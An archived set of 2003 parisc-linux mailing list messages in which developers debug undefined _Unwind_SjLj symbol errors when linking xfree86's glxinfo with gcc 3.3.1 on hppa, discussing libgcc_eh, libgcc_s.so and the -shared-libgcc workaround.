ii  gcc-3.2                 3.2.3-7                 The GNU C compiler
ii  gcc-3.2-base            3.2.3-7                 The GNU Compiler Collection
(base package)
ii  gcc-3.3                 3.3.1-1                 The GNU C compiler
ii  gcc-3.3-base            3.3.1-1                 The GNU Compiler Collection
(base package)
ii  gcc-3.3-doc             3.3.1-1                 Documentation for the
GNU compilers (gcc, gobjc, g++)
ii  gcc-hppa64              3.2.3-0.1               Cross gcc for hppa64
ii  gcc-snapshot            20030728-1              A SNAPSHOT of the GNU
Compiler Collection.
ii  libc6                   2.3.1-17.0.3            GNU C Library: Shared
libraries and Timezone data
ii  libc6-dev               2.3.1-17.0.3            GNU C Library: Development
Libraries and Header Files.
ii  binutils                2.14.90.0.5-0.2         The GNU assembler, linker
and binary utilities
ii  binutils-dev            2.14.90.0.5-0.2         The GNU binary utilities
(BFD development files)

palx2000:~# gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3.1/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,pascal,objc,ada,treelang
--prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3
--enable-shared --with-system-zlib --enable-nls --without-included-gettext
--enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug
--enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3.1 (Debian)


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 13:30:40 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200308111730.h7BHUf9S018795@hiauly1.hia.nrc.ca>
References: <20030811152442.GB20405@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622670 29276 80.91.229.3 (22 Nov 2014 02:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 11:30:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02CFF482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 11:30:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BHUfgL018797;
	Mon, 11 Aug 2003 13:30:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BHUf9S018795;
	Mon, 11 Aug 2003 13:30:41 -0400 (EDT)
In-Reply-To: <20030811152442.GB20405@dsl2.external.hp.com> from "Grant Grundler" at Aug 11, 2003 09:24:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19168

> I upgraded to gcc-3.3/unstable and got the same result when attempting
> to build glxinfo by hand.

It's not clear what's going on.  Possibly, linking with libgcc.a
is interacting in a bad way with shared libraries linked with
libgcc_s.so.  You can get more info by adding `-Wl,-v' to the link
command.  Adding `-Wl,-debug' to the gcc link command will show
the full `ld' command.

I am certain that the symbols are defined in libgcc_s.so.  It may
be that the linker isn't looking for dependent libraries correctly.
Using the g++ driver or adding `-shared-libgcc' to the link command
should work around the problem.  But I don't think that it should
be necessary.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 13:09:14 -0600
Lines: 101
Approved: news@gmane.org
Message-ID: <20030811190914.GA25311@dsl2.external.hp.com>
References: <20030811152442.GB20405@dsl2.external.hp.com> <200308111730.h7BHUf9S018795@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ"
X-Trace: ger.gmane.org 1416622670 29282 80.91.229.3 (22 Nov 2014 02:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 13:09:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 064B6482D; Mon, 11 Aug 2003 13:09:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200308111730.h7BHUf9S018795@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19169

--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Mon, Aug 11, 2003 at 01:30:40PM -0400, John David Anglin wrote:
> It's not clear what's going on.  Possibly, linking with libgcc.a
> is interacting in a bad way with shared libraries linked with
> libgcc_s.so.  You can get more info by adding `-Wl,-v' to the link
> command.  Adding `-Wl,-debug' to the gcc link command will show
> the full `ld' command.

-debug output is attached.
`-Wl,-v' only shows the "ld" command. The -debug output has that too.

What's interesting is the "ld" command has "-lgcc-eh" which is where
the missing symbols are defined:
grundler <512>nm libgcc_eh.a | grep _Unwind_SjLj_Resume
0000079c T _Unwind_SjLj_Resume
000008d0 T _Unwind_SjLj_Resume_or_Rethrow
grundler <513>pwd
/usr/lib/gcc-lib/hppa-linux/3.3.1


> I am certain that the symbols are defined in libgcc_s.so.  It may
> be that the linker isn't looking for dependent libraries correctly.

I wonder if "-Wl,-rpath-link,../../exports/lib" is the problem.
I'd normally expect an application to use "-L" to specify additional
lib search paths.

> Using the g++ driver or adding `-shared-libgcc' to the link command
> should work around the problem.  But I don't think that it should
> be necessary.

ok

thanks,
grant

--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="glxinfo.debug"

grundler@gsyprf11:/usr/src/xfree86-4.2.1/build-tree/xc/programs/glxinfo$ gcc -o glxinfo -g -O -ansi -pedantic -Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs -Wundef     -L../../exports/lib glxinfo.o -lGLU -lGL -lXext -lX11  -lpthread -lm -lgcc_eh  -Wl,-rpath-link,../../exports/lib -Wl,-debug
Convert string '/usr/lib/gcc-lib/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/:/usr/lib/gcc/hppa-linux/3.3.1/:/usr/lib/gcc/hppa-linux/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/bin/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/bin/' into prefixes, separator = ':'
  - add prefix: /usr/lib/gcc-lib/hppa-linux/3.3.1/
  - add prefix: /usr/lib/gcc-lib/hppa-linux/3.3.1/
  - add prefix: /usr/lib/gcc-lib/hppa-linux/
  - add prefix: /usr/lib/gcc/hppa-linux/3.3.1/
  - add prefix: /usr/lib/gcc/hppa-linux/
  - add prefix: /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/bin/hppa-linux/3.3.1/
  - add prefix: /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/bin/
Convert string '/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/grundler/bin' into prefixes, separator = ':'
  - add prefix: /usr/local/bin/
  - add prefix: /usr/bin/
  - add prefix: /bin/
  - add prefix: /usr/bin/X11/
  - add prefix: /usr/games/
  - add prefix: /home/grundler/bin/
Looking for 'real-ld'
Looking for 'collect-ld'
Looking for 'ld'
Looking for 'ld'
Looking for 'gnm'
Looking for 'gnm'
Looking for 'nm'
Looking for 'nm'
Looking for 'gstrip'
Looking for 'gstrip'
Looking for 'strip'
Looking for 'strip'
Looking for 'gcc'
Looking for 'gcc'
collect2 version 3.3.1 (Debian) (hppa)
ld_file_name        = /usr/bin/ld
c_file_name         = /usr/bin/gcc
nm_file_name        = /usr/bin/nm
strip_file_name     = /usr/bin/strip
c_file              = /tmp/ccAA0Eun.c
o_file              = /tmp/cc0QBMNA.o
COLLECT_GCC_OPTIONS = '-o' 'glxinfo' '-g' '-O' '-ansi' '-pedantic' '-Wall' '-Wpointer-arith' '-Wstrict-prototypes' '-Wmissing-prototypes' '-Wmissing-declarations' '-Wredundant-decls' '-Wnested-externs' '-Wundef' '-L../../exports/lib'
COLLECT_GCC         = gcc
COMPILER_PATH       = /usr/lib/gcc-lib/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/:/usr/lib/gcc/hppa-linux/3.3.1/:/usr/lib/gcc/hppa-linux/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/bin/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/bin/
LIBRARY_PATH        = /usr/lib/gcc-lib/hppa-linux/3.3.1/:/usr/lib/gcc/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/lib/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/lib/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../:/lib/hppa-linux/3.3.1/:/lib/:/usr/lib/hppa-linux/3.3.1/:/usr/lib/

/usr/bin/ld --eh-frame-hdr -dynamic-linker /lib/ld.so.1 -o glxinfo /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../crt1.o /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../crti.o /usr/lib/gcc-lib/hppa-linux/3.3.1/crtbegin.o -L../../exports/lib -L/usr/lib/gcc-lib/hppa-linux/3.3.1 -L/usr/lib/gcc-lib/hppa-linux/3.3.1/../../.. glxinfo.o -lGLU -lGL -lXext -lX11 -lpthread -lm -lgcc_eh -rpath-link ../../exports/lib -lgcc -lgcc_eh -lc -lgcc -lgcc_eh /usr/lib/gcc-lib/hppa-linux/3.3.1/crtend.o /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../crtn.o
../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
/usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
/usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
collect2: ld returned 1 exit status
[Leaving /tmp/ccAA0Eun.c]
[Leaving /tmp/cc0QBMNA.o]
[Leaving /tmp/ccGtmF6N.ld]
[Leaving glxinfo]
grundler@gsyprf11:/usr/src/xfree86-4.2.1/build-tree/xc/programs/glxinfo$ 


--mP3DRpeJDSE+ciuQ--


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 13:12:52 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030811191252.GB25311@dsl2.external.hp.com>
References: <20030811152442.GB20405@dsl2.external.hp.com> <200308111730.h7BHUf9S018795@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622670 29285 80.91.229.3 (22 Nov 2014 02:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 13:12:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D0669482D; Mon, 11 Aug 2003 13:12:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200308111730.h7BHUf9S018795@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19170

On Mon, Aug 11, 2003 at 01:30:40PM -0400, John David Anglin wrote:
> Using the g++ driver or adding `-shared-libgcc' to the link command
> should work around the problem.

I already knew g++ did.
I just confirmed adding `-shared-libgcc' did too.

thanks,
grant


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 15:25:47 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200308111925.h7BJPljx020074@hiauly1.hia.nrc.ca>
References: <20030811190914.GA25311@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622671 29290 80.91.229.3 (22 Nov 2014 02:17:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 13:25:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 200FC482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 13:25:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BJPlgL020075;
	Mon, 11 Aug 2003 15:25:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BJPljx020074;
	Mon, 11 Aug 2003 15:25:47 -0400 (EDT)
In-Reply-To: <20030811190914.GA25311@dsl2.external.hp.com> from "Grant Grundler" at Aug 11, 2003 01:09:14 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19171

> What's interesting is the "ld" command has "-lgcc-eh" which is where
> the missing symbols are defined:
> grundler <512>nm libgcc_eh.a | grep _Unwind_SjLj_Resume
> 0000079c T _Unwind_SjLj_Resume
> 000008d0 T _Unwind_SjLj_Resume_or_Rethrow
> grundler <513>pwd
> /usr/lib/gcc-lib/hppa-linux/3.3.1

Yes, but libgcc_eh.a doesn't contain the versioned symbols that the shared
libraries need.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 15:27:23 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20030811192723.GF20106@systemhalted>
References: <20030811152442.GB20405@dsl2.external.hp.com> <200308111730.h7BHUf9S018795@hiauly1.hia.nrc.ca> <20030811190914.GA25311@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622671 29297 80.91.229.3 (22 Nov 2014 02:17:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 13:30:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 822D1482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 13:30:10 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19mIKB-0000s6-00; Mon, 11 Aug 2003 15:27:23 -0400
Content-Disposition: inline
In-Reply-To: <20030811190914.GA25311@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19172

jda,

> LIBRARY_PATH        = /usr/lib/gcc-lib/hppa-linux/3.3.1/:/usr/lib/gcc/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/lib/hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../../hppa-linux/lib/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../hppa-linux/3.3.1/:/usr/lib/gcc-lib/hppa-linux/3.3.1/../../../:/lib/hppa-linux/3.3.1/:/lib/:/usr/lib/hppa-linux/3.3.1/:/usr/lib/
> 
> /usr/bin/ld --eh-frame-hdr -dynamic-linker /lib/ld.so.1 -o glxinfo /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../crt1.o /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../crti.o /usr/lib/gcc-lib/hppa-linux/3.3.1/crtbegin.o -L../../exports/lib -L/usr/lib/gcc-lib/hppa-linux/3.3.1 -L/usr/lib/gcc-lib/hppa-linux/3.3.1/../../.. 

I'm pretty sure according to our discussion on the proper placement of
libgcc_eh that there is a missing "-lgcc_eh" right here (or rather the
next one should be _after_ the crtbegin?). See the wrapping -lgcc_eh 
around -lc and -lgcc

glxinfo.o -lGLU -lGL -lXext -lX11 -lpthread -lm -lgcc_eh -rpath-link ../../exports/lib -lgcc -lgcc_eh -lc -lgcc -lgcc_eh /usr/lib/gcc-lib/hppa-linux/3.3.1/crtend.o /usr/lib/gcc-lib/hppa-linux/3.3.1/../../../crtn.o
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> collect2: ld returned 1 exit status
> [Leaving /tmp/ccAA0Eun.c]
> [Leaving /tmp/cc0QBMNA.o]
> [Leaving /tmp/ccGtmF6N.ld]
> [Leaving glxinfo]
> grundler@gsyprf11:/usr/src/xfree86-4.2.1/build-tree/xc/programs/glxinfo$ 

This is an issue we've seen in the detection of unwind info from
autoconf. Glibc has a patch to hack around a proper detection by placing
the appropirate -lgcc_eh in the front.

c.



From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 16:21:03 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20030811202103.GH20106@systemhalted>
References: <20030811190914.GA25311@dsl2.external.hp.com> <200308111925.h7BJPljx020074@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622671 29300 80.91.229.3 (22 Nov 2014 02:17:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:51 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 14:23:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35B54482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 14:23:50 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19mJA8-00024m-00; Mon, 11 Aug 2003 16:21:04 -0400
Content-Disposition: inline
In-Reply-To: <200308111925.h7BJPljx020074@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19173

On Mon, Aug 11, 2003 at 03:25:47PM -0400, John David Anglin wrote:
> > What's interesting is the "ld" command has "-lgcc-eh" which is where
> > the missing symbols are defined:
> > grundler <512>nm libgcc_eh.a | grep _Unwind_SjLj_Resume
> > 0000079c T _Unwind_SjLj_Resume
> > 000008d0 T _Unwind_SjLj_Resume_or_Rethrow
> > grundler <513>pwd
> > /usr/lib/gcc-lib/hppa-linux/3.3.1
> 
> Yes, but libgcc_eh.a doesn't contain the versioned symbols that the shared
> libraries need.

Are we not using libgcc_eh to resolve such symbols in libgcc and libc?

c.


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 16:38:06 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200308112038.h7BKc61c020812@hiauly1.hia.nrc.ca>
References: <20030811043457.GA5653@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622671 29302 80.91.229.3 (22 Nov 2014 02:17:51 GMT)
